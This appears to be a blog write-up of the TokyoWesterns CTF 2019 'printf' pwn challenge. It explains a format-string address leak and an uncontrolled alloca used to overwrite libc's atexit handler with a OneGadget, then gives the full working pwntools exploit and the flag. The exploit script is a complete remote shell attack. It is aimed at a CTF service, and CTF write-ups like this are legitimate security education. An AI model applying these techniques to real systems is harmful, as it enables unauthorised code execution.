TokyoWesterns CTF 5th 2019: Pwn - printf

Reading time ~4 minutes

The challange implemented a custom printf function which was called on our two inputs then the program exited. This opened a format string vulnerability, which made it possible to leak out important stack/libc/etc base addresses, but %n was not implemented, so we could not write the memory.

Fortunately for us, it used an uncontrolled alloca aka. sub rsp, rax where the parameter was the predicted output buffer length which could be controlled by us using constructs like %1000d which generated a 1000 byte length buffer on the stack with alloca.

This made possible to set rsp to any lower memory address, and even write into libc’s memory.

Somehow a bunch of pages which included also pointers were not read-only on Ubuntu 19.04 with libc 2.29. This was a weird behavior as the situation was much better on Ubuntu 18.04… I don’t know why they changed it, but whatever, this made the exploitation much easier (possible)!

I tried to overwrite a bunch of targets with OneGadget RCE, but at the end I replaced _IO_cleanup in the libc_atexit array which was called at the exit :D

pwndbg> telescope &__elf_set___libc_atexit_element__IO_cleanup__ 10
00:0000│   0x7ffff7fbf6c8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e6af50 (_IO_cleanup) ◂— push   r15

Here is my full exploit:

from pwn import *

REMOTE = True
if REMOTE:
    p = remote('printf.chal.ctf.westerns.tokyo', 10001)
else:
    p = process('./printf')
    print 'pid = %r' % p.pid

print "%lx "*40

p.sendlineafter("What's your name?", "%lx "*60)
p.recvline()
p.recvline()
leakStr = p.recvline()
leaks = [int(x,16) for x in leakStr.strip().split(' ')]
print '%r' % ['0x%x' % x for x in leaks]

libcBase   = leaks[ 2] - 0x7f6c93377024 + 0x7f6c9328f000 - 0x25000
bufStart   = leaks[50] - 0x7ffedbe84d40 + 0x7ffedbe84b50
prgBase    = leaks[49] - 0x5555555550d0 + 0x555555554000
ptrAddr    = libcBase - 0x7f07af04f000 + 0x7f07af210598 + 0x25000
system     = libcBase - 0x7f6c67f88000 + 0x7f6c67fb5fd0 + 0x25000
oneGadget  = libcBase + 0xe2383
stdoutGot  = prgBase + 0x5020
stdoutLibc = libcBase - 0x155555330000 + 0x155555515760 
runAtExit  = libcBase + 0x1E66C8
print 'libcBase = 0x%x, bufStart = 0x%x, prgBase = 0x%x, ptrAddr = 0x%x, stdoutGot = 0x%x, stdoutLibc = 0x%x, system = 0x%x, oneGadget = 0x%x' % (libcBase, bufStart, prgBase, ptrAddr, stdoutGot, stdoutLibc, system, oneGadget)

value = 0x414141
diff = bufStart - runAtExit - 0x223 + 0x5D + 0x20 + 6

# 0xe237f execve("/bin/sh", rcx, [rbp-0x70])
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 
# 0xe2383 execve("/bin/sh", rcx, rdx)
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [rdx] == NULL || rdx == NULL
# 
# 0xe2386 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL
# 
# 0x106ef8 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
payload = "%"+str(diff)+"d"+"A"*3+"B"*8+"C"*(8+5)+"D"*6+p64(oneGadget)+"E"*2
print 'payload (len=%d) = %r' % (len(payload), payload)

if not REMOTE:
    print "waiting..."
    raw_input()

p.sendlineafter("Do you leave a comment?", payload)
p.interactive()

And the flag was:

TWCTF{Pudding_Pudding_Pudding_purintoehu}

HITCON CTF 2019 Quals: Reverse - EmojiVM

This challenge was a VM implemented where every instruction was an emoji. For the first part of the challenge we had to reverse a flag ch...… Continue reading

HITCON CTF 2019 Quals: Reverse - CoreDumb

Published on October 19, 2019

HITCON CTF 2019 Quals: Pwn - Crypto in the shell

Published on October 19, 2019